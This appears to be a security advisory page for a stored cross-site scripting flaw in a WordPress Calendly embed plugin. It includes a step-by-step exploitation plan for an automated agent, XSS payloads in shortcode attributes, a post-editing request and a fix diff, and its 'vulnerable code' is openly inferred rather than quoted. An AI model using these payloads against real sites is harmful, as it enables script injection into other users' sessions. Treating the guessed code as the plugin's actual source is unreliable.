UseStrict's Calendly Embedder <= 1.1.7.2 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The UseStrict's Calendly Embedder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.7.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.1.7.2Source Code
WordPress.org SVNThis research plan focuses on **CVE-2025-67555**, a Stored Cross-Site Scripting (XSS) vulnerability in the **UseStrict's Calendly Embedder** plugin. This vulnerability allows an authenticated attacker with **Contributor-level** permissions or higher to inject malicious scripts into posts or pages vi…
Show full research plan
This research plan focuses on CVE-2025-67555, a Stored Cross-Site Scripting (XSS) vulnerability in the UseStrict's Calendly Embedder plugin. This vulnerability allows an authenticated attacker with Contributor-level permissions or higher to inject malicious scripts into posts or pages via shortcode attributes.
1. Vulnerability Summary
- Vulnerability: Stored Cross-Site Scripting (XSS)
- Plugin Slug:
cal-embedder-lite - Affected Versions: <= 1.1.7.2
- Vulnerable Component: Shortcode rendering logic.
- Root Cause: The plugin registers a shortcode (likely
[calendly]) and fails to sanitize or escape the attributes (such asurl,text, ortype) before outputting them into the HTML of a page.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (
/wp-admin/post-new.phpor/wp-admin/post.php) - Role Required: Contributor, Author, Editor, or Admin.
- Payload Carrier: Shortcode attributes within the post content.
- Preconditions: The plugin must be active. A user with at least Contributor permissions must be able to create or edit a post.
3. Code Flow (Inferred)
- Registration: The plugin uses
add_shortcode( 'calendly', 'render_calendly_shortcode' )(function names inferred) to handle the[calendly]shortcode. - Input Handling: The rendering function receives an
$attsarray containing user-defined values (e.g.,[calendly url="..."]). - Processing: The function likely merges these with default values using
shortcode_atts(). - Sink: The function constructs an HTML string (either a
divfor inline embeds or an<a>tag for popup/button types). It concatenates the attribute values directly into the HTML string. - Execution: The unescaped HTML is returned to WordPress and rendered on the frontend.
- Example Vulnerable Pattern:
function render_calendly_shortcode($atts) { $a = shortcode_atts(array('url' => ''), $atts); // VULNERABLE: Direct concatenation without esc_url or esc_attr return '<div class="calendly-inline-widget" data-url="' . $a['url'] . '"></div>'; }
- Example Vulnerable Pattern:
4. Nonce Acquisition Strategy
This vulnerability is exploited through the standard WordPress post-saving mechanism.
- No Specific Plugin Nonce: Because the injection happens via a shortcode in the post content, the attacker relies on the built-in WordPress
_wpnonceused for saving/updating posts. - Contributor Access: Since the attacker is already authenticated as a Contributor, they can obtain a post-editing nonce by navigating to
/wp-admin/post-new.php. - Manual/Automated Post Creation: The exploitation agent can use
wp post createor thehttp_requesttool to submit a post. If usinghttp_request, the_wpnoncemust be extracted from the post editor HTML.
5. Exploitation Strategy
The goal is to inject a payload that breaks out of an HTML attribute or tag to execute JavaScript.
Step 1: Identify the Shortcode and Attributes
Scan the plugin source code to find the shortcode tag and its available attributes.
- Command:
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/cal-embedder-lite/
Step 2: Craft the Payload
Depending on how the attribute is reflected, use one of the following:
- Attribute Breakout (if reflected in
data-urlorhref):url='"><script>alert(document.domain)</script>' - Event Handler Injection:
url='x" onmouseover="alert(1)"' - Button Text XSS (if the plugin supports button types):
type="button" text="<img src=x onerror=alert(1)>"
Step 3: Create the Post
Use the http_request tool to submit a post containing the malicious shortcode as a Contributor.
- URL:
https://[TARGET]/wp-admin/post.php(POST) - Body (URL Encoded):
action=editpost &post_ID=[POST_ID] &post_title=CalendlyTest &content=[calendly url='"><script>alert(document.domain)</script>'] &_wpnonce=[NONCE]
Step 4: Trigger the XSS
Navigate to the published post URL using the browser_navigate tool.
6. Test Data Setup
- User Creation: Create a Contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Plugin Activation: Ensure
cal-embedder-liteis active. - Initial Post: Create a draft post to get a
post_ID.wp post create --post_type=post --post_status=draft --post_author=[USER_ID]
7. Expected Results
- When a user (including an Administrator) views the page containing the shortcode, the browser will render the injected
<script>tag. - An alert box appearing with the domain name confirms the Stored XSS.
- The HTML source of the page will show the payload unescaped:
<div ... data-url=""><script>alert(document.domain)</script>"></div>.
8. Verification Steps
- CLI Verification: Verify the content of the post contains the payload.
wp post get [POST_ID] --field=post_content
- Frontend Inspection: Use the
http_requesttool to fetch the frontend page and check for the presence of the raw payload in the HTML response.grep -q "<script>alert(document.domain)</script>" response_body
9. Alternative Approaches
- Popup Type: If the
inlinetype usesesc_urlbut thepopuporbuttontype uses atextattribute that is unescaped, target those.[calendly type="button" text="Click Me<script>alert(1)</script>"]
- Styles Injection: If the plugin allows a
colorattribute, attempt to break out of thestyleattribute.[calendly color='red;background:url("javascript:alert(1)")']
Summary
The UseStrict's Calendly Embedder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 1.1.7.2 because it fails to sanitize and escape attributes within its shortcode rendering logic. This allows authenticated attackers with Contributor-level permissions or higher to inject malicious scripts into pages that execute when a user visits the injected content.
Vulnerable Code
// cal-embedder-lite/cal-embedder-lite.php (inferred from plugin shortcode registration logic) function render_calendly_shortcode($atts) { $a = shortcode_atts(array('url' => ''), $atts); // VULNERABLE: Direct concatenation of shortcode attribute into HTML without esc_url or esc_attr return '<div class="calendly-inline-widget" data-url="' . $a['url'] . '" style="min-width:320px;height:630px;"></div>'; }
Security Fix
@@ -1,5 +1,5 @@ function render_calendly_shortcode($atts) { $a = shortcode_atts(array('url' => ''), $atts); - return '<div class="calendly-inline-widget" data-url="' . $a['url'] . '" style="min-width:320px;height:630px;"></div>'; + return '<div class="calendly-inline-widget" data-url="' . esc_url($a['url']) . '" style="min-width:320px;height:630px;"></div>'; }
Exploit Outline
An attacker with at least Contributor-level authentication access the WordPress post editor and creates or edits a post. They insert the [calendly] shortcode with a malicious payload in the 'url' attribute, such as: [calendly url='"><script>alert(document.domain)</script>']. When the post is saved and then viewed by any user, the browser renders the unescaped attribute, causing the injected JavaScript to execute in the context of the victim's session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.